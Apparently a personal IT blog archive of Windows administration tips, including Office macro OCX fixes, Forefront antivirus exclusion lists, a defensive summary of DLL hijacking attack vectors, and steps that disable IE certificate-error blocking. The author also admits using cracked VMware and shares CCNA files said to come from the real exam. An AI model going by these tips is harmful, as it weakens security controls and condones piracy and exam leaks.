Living in Matrix

D3DX9 error when installing Movie Maker 2011

2011-07-29T07:24:00.000-07:00

I was trying to install Movie Maker – one of the components of Microsoft live Essentials 2011 in my Windows 7 box, and got this error:

My troubleshooting steps:

Install other components of Microsoft Live Essentials 2011 (live messenger) without any problems.
Google 0x800b010e, no luck. Looks like it is a general error message.
Google D3DX9. Looks like it is something related to DX9 (DirectX 9)
Run “dxdiag”. Determine my DirectX version is 11.
Check Movie Maker System requirements in Microsoft website (bing movie maker 2011): http://www.microsoft.com/download/en/details.aspx?id=26689

Found this important requirement:

For Photo Gallery and Movie Maker: Some required components of DirectX 9 may be installed for you if they're not already on your computer.

Find out the DirectX 9 runtime installation in Microsoft.com: http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=35. Install the Runtime.
Reinstall Movie Maker. Problem solved.

How to make Office 2003 Macro works in Office 2010

2011-03-24T12:59:00.000-07:00

So you upgrade to office 2010? Enjoy the great interface? But suddenly, you find your Word Macro that were created on Word 2003/2007 doesn’t work anymore, you get some errors like this: “Compile error: Can’t find project or library”

Basically, it happens because you are missing some OCX file, typically, they are MSCAL.OCX (Microsoft's ActiveX Calendar Control) and mscomct2.ocx(Microsoft Windows Common Controls). Follow below steps, most of your word and excel macro should work:
1. Get the OCX files: you can get mscomct2.ocx from Microsoft website: http://activex.microsoft.com/controls/vb6/mscomct2.cab or http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=25437d98-51d0-41c1-bb14-64662f5f62fe, but not MSCAL.OCX. Of course you can download from other sources, but I would recommend you install office 2003 pro in a spare computer or a VM, then copy this file.

2. Copy these 2 OCX files to c:\windows\system32 (if your OS is 32 bit) or C:\Windows\SysWOW64\ (if your OS is 64 bit).

3. Register these 2 OCX files:
For 32 bit OS:
regsvr32 /s C:\Windows\ system32 \mscomct2.ocx
regsvr32 /s C:\Windows\ system32 \MSCAL.OCX

For 64 bit OS:
regsvr32 /s C:\Windows\SysWOW64\mscomct2.ocx
regsvr32 /s C:\Windows\SysWOW64\MSCAL.OCX

4. Put your file location into trust location:
1). For Word 2010:Click menu “File”-> “Options” -> Trust Center, click "Trust Center settings" button, select "Trusted Locations"; click "Add new location..." button, add your file location there, you may also select "Subfolders of this location are also trusted".

2). Same as Excel 2010

5. Ok, open your Word/Excel macro file, works? No? oh, you are using office 2010 64 bit, unfortunately, Microsoft said they won’t provide 64bit version of mscomct2.ocx even its name is “Common Controls”.

If your word/excel macro files are shared with other users, you need to implement this change silently to other computers. Here is what I’ve done:

1. Create a folder that includes these file: MSCAL.ocx, mscomct2.ocx, a .bat file, a .reg file:

2. The .reg file (Change “C:\\test\\” to your actual folder):

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\Trusted Locations]

"AllowNetworkLocations"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\Trusted Locations\Location9]

"Path"="C:\\test\\"

"AllowSubfolders"=dword:00000001

"Description"=""

"Date"="2/8/2011 11:19 AM"

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\Trusted Locations]

"AllowNetworkLocations"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\Trusted Locations\Location9]

"Path"="C:\\test\\"

"AllowSubfolders"=dword:00000001

"Description"=""

"Date"="2/8/2011 12:36 AM"

3. The .bat file(change SysWOW64 to system32 if you are using 32bit OS):

regedit.exe /s .\TrustP.reg
copy .\mscomct2.ocx C:\Windows\SysWOW64\ /Y
regsvr32 /s C:\Windows\SysWOW64\mscomct2.ocx
copy .\MSCAL.OCX C:\Windows\SysWOW64\ /Y
regsvr32 /s C:\Windows\SysWOW64\MSCAL.OCX

Now you can push the change using your patch system like SCCM.

FEP(Forefront Endpoint Protection) Excluded Processes for servers

2011-03-15T13:49:00.000-07:00

------ Domain Controller -----------------

%systemroot%\System32\ntfrs.exe
%systemroot%\System32\dfsr.exe
%systemroot%\System32\dfsrs.exe

---- DNS Server -----------

%systemroot%\System32\dns.exe

----- Exchange 2007-2010 -------------

EdgeTransport.exe
Microsoft.Exchange.AddressBook.Service.exe
Microsoft.Exchange.Cluster.ReplayService.exe
Microsoft.Exchange.Monitoring.exe
Microsoft.Exchange.RpcClientAccess.Service.exe
Microsoft.Exchange.Search.ExSearch.exe
MSExchangeMailboxReplication.exe
MSExchangeMailSubmission.exe
MSExchangeRepl.exe
MSExchangeTransportLogSearch.exe
MSFTEFD.exe
msftesql.exe
Store.exe
MSExchangeFDS.exe

-- FPE (Forefront Protection for Exchange) --------

FSCConfigurationServer.exe
FSCEventing.exe
GetEngineFiles.exe
ScanEngineTest.exe
FSCManualScanner.exe
FSCScheduledScanner.exe
FSCRealtimeScanner.exe
MultiEngineScanner.exe
Kavehost.exe
FSEMailPickup.exe
FSCVSSWriter.exe

-- Hyper-V Host Server ---------

%systemroot%\System32\vmms.exe
%systemroot%\System32\vmwp.exe
%systemroot%\System32\vds.exe

-- IIS --------------

%systemroot%\system32\inetsrv\w3wp.exe
%systemroot%\SysWOW64\inetsrv\w3wp.exe

-------------- Operations Manager 2007 --------------------

%programfiles%\System Center Operations Manager 2007\HealthService.exe
%programfiles%\System Center Operations Manager 2007\Microsoft.Mom.ConfigServiceHost.exe
%programfiles%\System Center Operations Manager 2007\MonitoringHost.exe

---------- FPSP (Forefront Protection 2010 for SharePoint) ------------------------

FSCConfigurationServer.exe
FSCEventing.exe
GetEngineFiles.exe
ScanEngineTest.exe
FSCManualScanner.exe
FSCScheduledScanner.exe
FSCRealtimeScanner.exe
MultiEngineScanner.exe
Kavehost.exe
FSEMailPickup.exe
FSCVSSWriter.exe
wsstracing.exe
owstimer.exe
mssearch.exe

---- SQL Server 2005 (KB article 309422)--------- --

%ProgramFiles%\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\SQLServr.exe
%ProgramFiles%\Microsoft SQL Server\MSSQL.3\Reporting Services\ReportServer\Bin\ReportingServicesService.exe

%ProgramFiles%\Microsoft SQL Server\MSSQL.2\OLAP\Bin\MSMDSrv.exe

----- SQL Server 2008 (KB article 309422)---------------------

%ProgramFiles%\Microsoft SQL Server\MSSQL10.MSSQLSERVER\MSSQL\Binn\SQLServr.exe

%ProgramFiles%\Microsoft SQL Server\MSRS10.MSSQLSERVER\Reporting Services\ReportServer\Bin\ReportingServicesService.exe

%ProgramFiles%\Microsoft SQL Server\MSAS10.MSSQLSERVER\OLAP\Bin\MSMDSrv.exe

FEP(Forefront Endpoint Protection) File exclusions for Servers

2011-03-15T11:17:00.000-07:00

----FEP Default Server Policy--------------

%ALLUSERSPROFILE%\NTuser.pol
%SystemRoot%\System32\GroupPolicy\registry.pol
%windir%\Security\Database\*.chk
%windir%\Security\Database\*.edb
%windir%\Security\Database\*.jrs
%windir%\Security\Database\*.log
%windir%\Security\Database\*.sdb
%windir%\SoftwareDistribution\Datastore\Datastore.edb
%windir%\SoftwareDistribution\Datastore\Logs\edb*.log
%windir%\SoftwareDistribution\Datastore\Logs\Edb.chk
%windir%\SoftwareDistribution\Datastore\Logs\Edbres00001.jrs
%windir%\SoftwareDistribution\Datastore\Logs\Edbres00002.jrs
%windir%\SoftwareDistribution\Datastore\Logs\Res*.jrs
%windir%\SoftwareDistribution\Datastore\Logs\Res*.log
%windir%\SoftwareDistribution\Datastore\Logs\Tmp.edb

---FEP Configuration Manager 2007------------

%programfiles%\Microsoft Configuration Manager\Inboxes\adsrv.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\adsrv.box
%programfiles%\Microsoft Configuration Manager\Inboxes\AIKbMgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\AIKbMgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\amtproxymgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\amtproxymgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\asstdata.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\asstdata.box
%programfiles%\Microsoft Configuration Manager\Inboxes\ccr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\ccr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\ccrretry.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\ccrretry.box
%programfiles%\Microsoft Configuration Manager\Inboxes\certmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\certmgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\clifiles.src
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\clifiles.src
%programfiles%\Microsoft Configuration Manager\Inboxes\COLLEVAL.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\COLLEVAL.box
%programfiles%\Microsoft Configuration Manager\Inboxes\coll_out.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\coll_out.box
%programfiles%\Microsoft Configuration Manager\Inboxes\CompSumm.Box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\CompSumm.Box
%programfiles%\Microsoft Configuration Manager\Inboxes\coursend.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\coursend.box
%programfiles%\Microsoft Configuration Manager\Inboxes\dataldr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\dataldr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\ddm.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\ddm.box
%programfiles%\Microsoft Configuration Manager\Inboxes\ddmnotif.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\ddmnotif.box
%programfiles%\Microsoft Configuration Manager\Inboxes\distmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\distmgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\dseval.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\dseval.box
%programfiles%\Microsoft Configuration Manager\Inboxes\hman.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\hman.box
%programfiles%\Microsoft Configuration Manager\Inboxes\inventry.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\inventry.box
%programfiles%\Microsoft Configuration Manager\Inboxes\invproc.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\invproc.box
%programfiles%\Microsoft Configuration Manager\Inboxes\mmctrl.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\mmctrl.box
%programfiles%\Microsoft Configuration Manager\Inboxes\objmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\objmgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\offermgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\offermgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\OfferSum.Box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\OfferSum.Box
%programfiles%\Microsoft Configuration Manager\Inboxes\pkginfo.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\pkginfo.box
%programfiles%\Microsoft Configuration Manager\Inboxes\PkgTransferMgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\PkgTransferMgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\policypv.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\policypv.box
%programfiles%\Microsoft Configuration Manager\Inboxes\polreq.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\polreq.box
%programfiles%\Microsoft Configuration Manager\Inboxes\rcm.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\rcm.box
%programfiles%\Microsoft Configuration Manager\Inboxes\replmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\replmgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\RuleEngine.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\RuleEngine.box
%programfiles%\Microsoft Configuration Manager\Inboxes\schedule.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\schedule.box
%programfiles%\Microsoft Configuration Manager\Inboxes\sinv.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\sinv.box
%programfiles%\Microsoft Configuration Manager\Inboxes\sitecomp.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\sitecomp.box
%programfiles%\Microsoft Configuration Manager\Inboxes\sitectrl.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\sitectrl.box
%programfiles%\Microsoft Configuration Manager\Inboxes\SiteStat.Box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\SiteStat.Box
%programfiles%\Microsoft Configuration Manager\Inboxes\smsbkup.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\smsbkup.box
%programfiles%\Microsoft Configuration Manager\Inboxes\statmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\statmgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\swmproc.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\swmproc.box
%programfiles%\Microsoft Configuration Manager\Inboxes\WSUSMgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\WSUSMgr.box
%programfiles%\Microsoft Configuration Manager\Inboxes\wsyncmgr.box
%programfiles(x86)%\Microsoft Configuration Manager\Inboxes\wsyncmgr.box

------FEP Domain Controller -----------------

%systemroot%\ntds\ntds.dit
%systemroot%\ntds\EDB*.log
%systemroot%\ntds\Edbres*.jrs
%systemroot%\ntds\EDB.chk
%systemroot%\ntds\TEMP.edb
%systemroot%\ntds\*.pat
%systemroot%\SYSVOL\domain\DO_NOT_REMOVE_NtFrs_PreInstall_Directory
%systemroot%\SYSVOL\staging
%systemroot%\SYSVOL\staging areas
%systemroot%\SYSVOL\sysvol

-----FEP DHCP Server-----------------

%windir%\System32\DHCP\*.mdb
%windir%\System32\DHCP\*.edb
%windir%\System32\DHCP\*.pat
%windir%\System32\DHCP\*.log
%windir%\System32\DHCP\*.jrs
%windir%\System32\DHCP\*.chk
%windir%\System32\DHCP\backup\*.mdb
%windir%\System32\DHCP\backup\*.log
%windir%\System32\DHCP\backup\*.chk

----FEP DNS Server ----------------

%windir%\System32\DNS\*.dns
%windir%\System32\DNS\*.scc

----- FEP Exchange 2007-2010 -------------

%ExchangeInstallPath%\Mailbox
%ExchangeInstallPath%\GroupMetrics
%ExchangeInstallPath%\TransportRoles\Logs
%ExchangeInstallPath%\Logging
%ExchangeInstallPath%\ExchangeOAB
%ExchangeInstallPath%\Mailbox\MDBTEMP
%SystemDrive%\DAGFileShareWitnesses\*

-------FEP Hyper-V Host Server -------------

%ProgramData%\Microsoft\Windows\Hyper-V
%Public%\Documents\Hyper-V\Virtual Hard Disks
%ProgramFiles%\Hyper-V
%SystemDrive%\ClusterStorage

------------ IIS -------------------------

%systemroot%\System32\LogFiles
%systemroot%\SysWow64\LogFiles

-------------- Operations Manager 2007 --------------------

%programfiles%\System Center Operations Manager 2007\Health Service State\*

----------------FEP SharePoint 2010 ----------------

%systemroot%\Temp\WebTempDir
%programfiles%\Common Files\Microsoft Shared\Web Server Extensions\14\Logs
%programfiles%\Common Files\Microsoft Shared\Web Server Extensions\12\Logs
%programfiles%\Microsoft Office Servers\14.0\Logs
%programfilesx86%\Microsoft Office Servers\14.0\Logs
%programfiles%\Microsoft Office Servers\12.0\Logs
%programfilesx86%\Microsoft Office Servers\12.0\Logs
%programfiles%\Microsoft Office Servers\14.0\Data
%programfilesx86%\Microsoft Office Servers\14.0\Data
%programfiles%\Microsoft Office Servers\12.0\Data
%programfilesx86%\Microsoft Office Servers\12.0\Data
%systemroot%\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files
%systemroot%\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files

A summary of DLL hijacking - what did I do...

2010-08-30T08:49:00.000-07:00

Workaround 1
1. Install the patch 2264107 and set CWDIllegalInDllSearch=0xFFFFFFFF
Benefit
Could mitigate the risk to very low level.
Impact
1). The patch 2264107 seems to interfere with the Wireless cards, specific to the models: E6400, Wireless Card: 1510
2). May break some applications. Potential affected software list could be found in the attachment: “Potentially vulnerable applications.docx”. you can also find it online: http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/
--------------------------------------------------------------
Workaround 2
2 .Install the patch 2264107 and set CWDIllegalInDllSearch=1
Benefit
Prevent an application from loading a library from a WebDAV location.
Impact
1). The patch 2264107 seems to interfere with the Wireless cards, specific to the models: E6400, Wireless Card: 1510
2). Still vulnerable for Remote file share.
---------------------------------------------------------------
Workaround 3
3. Install the patch 2264107 and set CWDIllegalInDllSearch=2
Benefit
Prevent an application from loading a library from both a WebDAV, as well as a remote UNC location
Impact
1). The patch 2264107 seems to interfere with the Wireless cards, specific to the models: E6400, Wireless Card: 1510
2). Cannot prevent the local dll attack.
---------------------------------------------------------------
Workaround 4
4. Block any outbound connection to a smb/webdav share. Ports are 445 and 135.
Benefit
Prevent the outside attack.
Impact
1). It is not possible to block smb/webdav share in internal network because users need it.
---------------------------------------------------------------

Real world DLL Hijacking samples: (from http://digitalacropolis.us/?p=113)
1. Using a SMB/WebDav shared folder
This is perhaps the most common way dll hijacking is being used, probably because it can be exploited remotely. It works by putting together a malicious dll and a clean file that triggers it inside a share and then making your target open this clean file. Remember a shared folder link always starts with double slashes like \\123.45.67.890. 1.

1). Attacker sends a shared folder link to a victim. Victim opens and sees some .html files and double-clicks one of them. When a vulnerable browser or application opens this file it loads a dll directly from this share, and victim is now infected.

Workaround: Combine workaround 1 and 4. Or Combine Workaround 3 and 4.

2). Attacker posts a link in a forum that looks like an http link but redirects victim to a shared folder. Victim opens a simple .pdf file and gets infected.

Workaround: Combine workaround 1 and 4. Or Combine Workaround 3 and 4.

3). Attacker gains access to a trusty website and puts iframes or redirects to his share. Victim trusts this site and opens an mp3 file inside the shared folder and… gets infected as well.

Workaround: Combine workaround 1 and 4. Or Combine Workaround 3 and 4.

4). Attacker uses the .lnk bug or any browser vulnerability together with any of above examples and thus increase his infect rate.

Workaround: Combine workaround 1 and 4. Or Combine Workaround 3 and 4.
5). Inside attacker put a clean file and a malicious dll to internal file share.

Workaround: 1 or 3.
----------------------------------------------------------
2. A compressed package (.zip, .tar.gz, .rar etc)
This vector can be exploited by putting together a bunch of clean files and a malicious dll inside a compressed folder/package. Target will extract these files and open one of them, getting attacker’s dll loaded.
1). Attacker compresses 30 jpg pictures and a dll in a zip file. Victim extracts everything to a folder and double-clicks one of the pictures. Infected.
Workaround:
1). Workaround 1.
2). Education: Before opening any kind of file, specially downloaded from the internet, check if there’s any dll file in the same directory. Don’t forget to enable show hidden files and show all extensions on your Folder Options. It’s also recommended to move only the files you need to open to another directory created by you. This should make you safe.

--------------------------------------------------------------
3. Torrents
This one is kind of nasty and can be very effective to contaminate large amounts of people. A torrent can contain large numbers of files and can be used to get a malicious dll downloaded together with clean files without being noticed. This is very dangerous, especially if a big torrent tracker or database can be compromised.
1). Attacker posts a custom torrent in a public tracker, which contains a pack of mp3′s and a malicious dll. Victim goes listen it’s new song album and get infected.
2). Attacker gains admin access to a torrent database (this actually happened to ThePirateBay not so long ago) and changes a legitimate high-traffic torrent for an infected one. This could cause a massive infection in a matter of minutes.
Workaround: Do not allow BT and P2P on the perimeter firewall.

----------------------------------------------------------
4. Exploiting multiple application hijacks
Increasing attack success rate for putting multiple dlls to exploit the same file type.
1). Attacker shares a folder which contains a bunch of .avi files and three malicious dlls: one for VLC, other for MediaPlayer Classic and, finally, the last one for Winamp. Attacker can now exploit three apps in the same attack, increasing the chance of victim getting infected.

Workaround: Combine workaround 1 and 4. Or Combine Workaround 3 and 4.

IE 8 Certificate error and trusted sites grayed out

2010-08-20T07:06:00.000-07:00

The problem happened after users started using Windows 7 and IE 8. Some users complained that they cannot access some secure websites especially Self-Signed Certificate websites. With Windows XP and IE 7, they could bypass the Self signed Certificate warning by just clicking the "Continue to this website (not recommended)" link. But now, the link doesn't show up anymore, the only option is "Click here to close this webpage". In addition, the local and trusted sites are grayed out. You can't even add sites to these zones.

After spent hours searching in Google, I was still no lucky. I’ve tried all the solutions that posted online:

1. Clear the boxes for: "Check for publisher's certificate revocation" and "Check for server certificate revocation” in IE security setting.

2. Update for Root Certificates from Microsoft Website.

3. Import the website certificate to trusted root certificates.

4. Modify the Registry key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"Flags"=dword:00000047

Unfortunately none of the above solutions worked for me. I thought I must miss something. Then I realized I might need to look at the local group policy. I didn't consider the group policy because only some computers had the problem, the others were working fine, and they are in the same OU and have the same global group policy.

After I dug into the local group policy, I finally solved the problem:

1. Close all the IE windows.
2. Run gpedit.msc
3. Navigate to User Configuration -> Administrative Templates -> Windows Components -> Internet Explorer ->Internet Control Panel
4. Set “Prevent ignoring Certificate errors” to “Disabled”. Now the “Continue to this website (not recommended)” Link should show up.
5. Navigate to User Configuration -> Administrative Templates -> Windows Components -> Internet Explorer ->Internet Control Panel -> Security Page
6. Set “Site to Zone Assignment list” to “Disabled”. This will allow you to modify the trusted list.
7. Open your IE and enjoy the freedom.

Open command windows here (DOS is Here)

2010-08-13T12:06:00.000-07:00

It would be very handy if you can open a dos command window in the folder that you are currently borrowing by right click the folder icon. Windows 7 does provide this function, but it is kind of “hidden”. You have to press the Shift key, in the meantime, right click the folder icon, you will see the “secret” option “Open command windows here”.

How about Windows XP?

No, no secret option here, however, you can use registry key. Here is the code:

************************************************
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\DosHere]
@="Open command windows here"

[HKEY_CLASSES_ROOT\Directory\shell\DosHere\command]
@="C:\\windows\\SYSTEM32\\cmd.exe /k cd \"%1\""

[HKEY_CLASSES_ROOT\Drive\shell\DosHere]
@="Open command windows here"

[HKEY_CLASSES_ROOT\Drive\shell\DosHere\command]
@="C:\\windows\\SYSTEM32\\cmd.exe /k cd \"%1\""

*************************************************
Copy and paste to your notepad; save it as a .reg file; then double click the file to import it to the registry table.

That’s it! You'll get this:

Enjoy!

If you don't like it, here is the uninstall code:

***********************************************
Windows Registry Editor Version 5.00

[-HKEY_CLASSES_ROOT\Directory\shell\DosHere]
[-HKEY_CLASSES_ROOT\Drive\shell\DosHere]

***********************************************
Save it as a .reg file and run it. Just be sure you run it as an Administrator.

Install Backtrack 4 to a USB stick

2010-08-04T20:37:00.000-07:00

Many reasons that you need to install Backtrack 4 to a USB Stick. For me, I just want to keep the tools up to date. It was a little bit tricky because I was able to install it to a USB Stick, but it still acted like “Live CD”, meaning every change is gone after I reboot it.

But now it becomes very easy because I found this great video:
http://www.offensive-security.com/videos/backtrack-usb-install-video/backtrack-usb-install.html

Just make sure you have a 8G USB stick, because a 4G USB stick will only have 300M free space after the installation.

Uncontrollable Zooming in Microsoft Word and IE

2010-03-11T14:01:00.000-08:00

The Dell Latitude D630 laptop I was using has a very strange behaviour, when I connect it to a projector, and press Fn+F8 to show the screen on both devices, word zooms to 500% and stay there, whatever I change zooming setting, it goes back to 500%. Same as IE. I have to reboot the laptop to solve this problem, but when I press Fn+F8, it happens again. The strange thing is, if I don’t connect it to a projector, everything is fine, even I press Fn+F8. And I couldn’t reproduce the problem in another Dell laptop.

It really annoys me because I cannot use it for presentation. I decided to find out the reason. I believe there is a process causing this problem, I killed the suspect processes with Process Explorer 11.33 (www.sysinternals.com) and finally found out it is iType.exe that causes the problem.

Here is detail of iType.exe:

Once I kill the process, everything back to normal.

Running Microsoft Baseline Security Analyzer (MBSA) command line

2010-01-22T22:20:00.000-08:00

You may already familiar with Microsoft Baseline Security Analyzer (MBSA) GUI, but how about the MBSA command line?

You get at least 2 benefits from the MBSA command line

1. If you want to scan the remote computers that are not part of your domain, MBSA GUI won’t help you, at least I couldn’t find any option to do it. In this situation, MBSA command line comes in place.

2. You can easily schedule MBSA Command line running at midnight to scan a range of computers, and view the reports with a cup of coffee next morning.

The format of MBSA command line is:

MBSACLI [/target /r /d domain] [/n option] [/o file] [/qp] [/qe] [/qr] [/qt] [/listfile file] [/xmlout] [/wa
/wi] [/catalog file] [/nvc] [/ia] [/mu] [/nd] [/rd directory] [/?][/u username /p password]

For example, if you want to scan an IP 192.168.1.1: mbsacli /target 192.168.1.1 /u administrator /p password

Enter “mbsacli /?” for more details.

Something you have to be aware:

1. MBSA Command line need an offline security update signature to perform a scan, the file name is wsusscn2.cab. MBSA GUI can automatically download it and save it in “C:\Documents and Settings\\Local Settings\Application Data\Microsoft\MBSA\2.1.1\Cache\” (depends on your MBSA installation) , but if you haven’t run the GUI for a long time, you can download the latest signature from here http://go.microsoft.com/fwlink/?LinkId=76054. I normally save it in a temporary folder, then use /category parameter to specify the file location: mbsacli /target 192.168.1.1 /catalog c:\temp\wsusscn2.cab /u administrator /p password

2. The cons of this command line is the username and password is in the plain text, you have to change your password after you finish a scan.

3. The output of MBSA command line is ugly, however, you can view the report from MBSA GUI, it is user friendly and pretty beautiful.

4. The version of MBSA we are talking here is 2.1.1, released on Nov 4, 2009. You can download it from here: http://www.microsoft.com/downloads/details.aspx?FamilyID=b1e76bbe-71df-41e8-8b52-c871d012ba78&displaylang=en

VPN Client for Windows 7 Enterprise 64bit

2010-01-18T17:38:00.001-08:00

Just upgraded my home computer to Windows 7 Enterprise 64bit, I suddenly found the Cisco VPN Client 5.0.01.0600 stop working, I google it, following the instructions that I found in some websites, but none of them were working. Finally I found this website http://www.shrewsoft.com, I downloaded the Shrew Soft VPN Client 2.1.5, simply import the .pcf file, and it works like a charm!

Use Vmware workstation 6.x image in Vmware server 1.09

2009-09-15T13:44:00.000-07:00

Vmware workstation is a great product, you can capture the movie, which is very good for training, and you can setup multiple snapshots. I have a crack version of Vmware workstation 6.5.2 in my home computer (Forgive me, I don’t have much money in my pocket), however, you don’t want to run a crack software in your office’s computer, fortunately, Vmware server is free. I tried the Vmware server 2.0.1, to be honest, it sucks, I don’t like the web console, and the performance is really bad. The version 1.0.9 is good, it is neat and clean.

Now here is the problem: When I try to open the images that I created in my home computer using Vmware workstation 6.5.2, I get an error message: “Configuration file was created by a Vmware product with more features than this version”. Can we just modify the .vmx configuration file? I tried, but it didn’t work well, I got some error messages like: “Pipe connection has been broken.”

Ok, the answer is here, VMware vCenter Converter Standalone 4.0.1, you can download it from https://www.vmware.com/tryvmware/?p=converter, and it is free.

The functions of Vmware converter are very straight forward. You click the “Convert Machine” on the toolbar; select the source type, in my case, it is “Vmware workstation or other Vmware virtual machine”; select destination type “Vmware workstation or other Vmware virtual machine”, the product is “Vmware Server 1.x”; give a name and choose a location. You’re ready to go.

Windows 2003 server shutdown prompt

2009-09-11T14:28:00.000-07:00

I have some Windows 2003 server virtual machines, I was tired by them keep asking me for a reason when I reboot them, I decide to disable this “shutdown event tracker”. However, you shouldn’t turn it off in production environment, since it is an important audit log.

1) Open “Group Police Object Editor”: Click “start”-> “Run...” enter “gpedit.msc”, click “ok”.

2) Expand “Computer Configuration” -> “Administrative Templates” -> “System”

3) Double click “Display Shutdown Event Tracker”, and disable it.

Now you can quickly shutdown or reboot your windows 2003 server.

Create a big size empty file

2009-09-09T14:15:00.000-07:00

I was working with a MFT (Managed File Transfer) system recently. I need a big size file to test the transfer rate, and it would be good to create a file with specific sizes. After google it, I found a useful command in WinXp: fsutil – file system utility. The format of creating a specific size file is: fsutil file createnew .

Open a command line window: Click “start”-> “Run...” enter “cmd”, click “ok”.

I need a 3GB file, 3GB=3*1024 MB =3072*1024 KB =3145728 * 1024 BYTE=3221225472 BYTE

So the command is: fsutil file createnew test3g.txt 3221225472

Now you get a 3GB file in the current directory. The only thing I concern is, if you compress this file, it is only 200 Bytes, some transfer protocol may compress the file before the transfer, so it may affect the transfer rate. However, it is still a good practice.

Outlook 2003: Email attachment appears in the main body

2009-09-03T13:42:00.000-07:00

After our Email server upgrade to Exchange 2007, I suddenly found my email attachment show up in the main body as an icon when I use outlook 2003. It used to appear in the attachment line under the subject line. It annoys me a little bit, yep, I agree, this format is useful in some cases, but I don't like it, I prefer the attachment is in its place and not mess up the layout. I look at the email, and find the Email format has been changed to "Rich Text", I remember it was "HTML". The setting should be in somewhere.

Yeap, I find it. Click menu "tools"->"options", click "Mail Format", in "Message format" section, select "HTML", apply it. now everything goes back.

PT5.1 for CCNA simulation lab

2009-03-15T00:12:00.000-07:00

I was preparing CCNA exam, to practice the lab simulation questions, I used Packet Tracer 5.1 to simulate the questions. I integrated the questions, answers, and the explanation into a single pka file. With these pka files, you can practice the lab questions, verify your answers in real time, and check the explanation. I believe you’ll be more confident in your CCNA exam after practicing these labs.

You can download these pka files from:

1. CCNA Access List Sim (Updated from real CCNA exam on 07-March-2009): http://www.valit.ca/lab/ccna/ccna_access_list_sim.zip

2. CCNA Implementation SIM (Updated from real CCNA exam on 19-Feb-2009): http://www.valit.ca/lab/ccna/ccna_implement_sim.zip

3. CCNA Drag and Drop SIM Question (Updated from real CCNA exam on 19-Feb-2009): http://www.valit.ca/lab/ccna/ccna_drag_drop_sim.zip

4. CCNA EIGRP LAB Question (Updated from real CCNA Exam on 19-Feb-2009): http://www.valit.ca/lab/ccna/ccna_EIGRP_sim.zip

5. CCNA VTP SIM Question (Updated from real CCNA exam on 19-Feb-2009): http://www.valit.ca/lab/ccna/ccna_vtp_sim.zip

6. CCNA RIP Configuration SIM Question (Updated from real CCNA exam on 19-Feb-2009): http://www.valit.ca/lab/ccna/ccna_Rip_sim.zip

7. CCNA NAT SIM Question: http://www.valit.ca/lab/ccna/ccna_NAT_sim1.zip

Please use Packet Tracer 5.1. I am not sure if 5.0 can open these files.

Even you are not preparing CCNA, it is still good to practice these labs in order to enhance your network knowledge.

Enjoy! And if you have any questions related to the files, comment or send me an email.

Packet Tracer file for new CCNA Access List Sim

2009-03-13T04:13:00.000-07:00

(Updated from real CCNA exam on 07-March-2009)

